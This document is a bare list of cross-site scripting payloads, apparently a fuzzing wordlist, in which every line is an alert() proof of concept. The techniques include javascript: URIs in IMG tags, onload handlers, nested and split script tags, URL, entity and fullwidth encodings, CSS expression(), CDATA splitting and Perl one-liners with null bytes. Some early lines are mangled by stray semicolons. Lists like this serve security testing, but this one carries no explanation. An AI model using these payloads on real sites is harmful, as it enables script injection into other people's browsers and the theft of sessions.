<;IMG SRC="; &;#14; javascript:alert(2484);";>;
<;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(2486)>;
<;IMG SRC=";javascript:alert(2489)";
<;<;SCRIPT>;alert(2491);
<;IMG ";";";>;<;SCRIPT>;alert(2492)<;/SCRIPT>;";>;
";>;<;BODY onload!#$%&;()*~+-_.,:;?@[/|\]^`=alert(2611)>;
<;/script>;<;script>;alert(2612)<;/script>;
<;/br style=a:expression(alert(26132613>;
<;scrscriptipt>;alert(2614)<;/scrscriptipt>;
<;br size=\";&;{alert(2615)}\";>;
perl -e 'print \";<;IMG SRC=java\0script:alert(2616)>;\";;' >; out
perl -e 'print \";<;SCR\0IPT>;alert(2617)<;/SCR\0IPT>;\";;' >; out
<~/XSSSTYLE=xss:expression(alert(2618))>
<~/XSSSTYLE=xss:expression(alert(2620))>
<~/XSS STYLE=xss:expression(alert(2621))>
"><script>alert(2622)</script>
</XSSSTYLE=xss:expression(alert(2623))>
XSSSTYLE=xss:expression(alert(2624))>
XSS STYLE=xss:expression(alert(2625))>
</XSS STYLE=xss:expression(alert(2626))>
>"><script>alert(2627)</script>&
"><STYLE>@import"javascript:alert(2628)";</STYLE>
>"'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(2629)>
>%22%27><img%20src%3d%22javascript:alert(2630)%22>
'%uff1cscript%uff1ealert(2631)%uff1c/script%uff1e'
<IMG SRC="javascript:alert(2633);">
<IMG SRC=javascript:alert(2634)>
<IMG SRC=JaVaScRiPt:alert(2635)>
<IMG SRC=JaVaScRiPt:alert(2636)>
<IMG SRC="jav
ascript:alert(2640);">
<IMG SRC="jav
ascript:alert(2641);">
<?xml version="1.0" encoding="ISO-8859-1"?><foo><![CDATA[<]]>SCRIPT<![CDATA[>]]>alert(2643);<![CDATA[<]]>/SCRIPT<![CDATA[>]]></foo>
<script>alert(2649)</script>
%3cscript%3ealert(2650)%3c/script%3e
%22%3e%3cscript%3ealert(2651)%3c/script%3e
<IMG SRC="javascript:alert(2652);">
<IMG SRC=javascript:alert(2653)>
<IMG SRC=javascript:alert(2654)>
<img src=xss onerror=alert(2655)>
<IMG """><SCRIPT>alert(2656)</SCRIPT>">
<IMG SRC=javascript:alert(2657))>
<IMG SRC="jav ascript:alert(2658);">
<IMG SRC="jav	ascript:alert(2659);">
<BODY BACKGROUND="javascript:alert(2663)">
<BODY ONLOAD=alert(2664)>
<INPUT TYPE="IMAGE" SRC="javascript:alert(2665);">
<IMG SRC="javascript:alert(2666)"
<<SCRIPT>alert(2668);
%253cscript%253ealert(2669)%253c/script%253e
"><s"%2b"cript>alert(2670)</script>
foo<script>alert(2671)</script>
<scr<script>ipt>alert(2672)</scr</script>ipt>
';alert(2674))//\';alert(2674))//";alert(2674))//\";alert(2674))//--></SCRIPT>">'><SCRIPT>alert(2674))</SCRIPT>
<marquee onstart='javascript:alert(2675);'>=(◕_◕)=
</span></span><svg onload="alert(2676)//“ #"="">
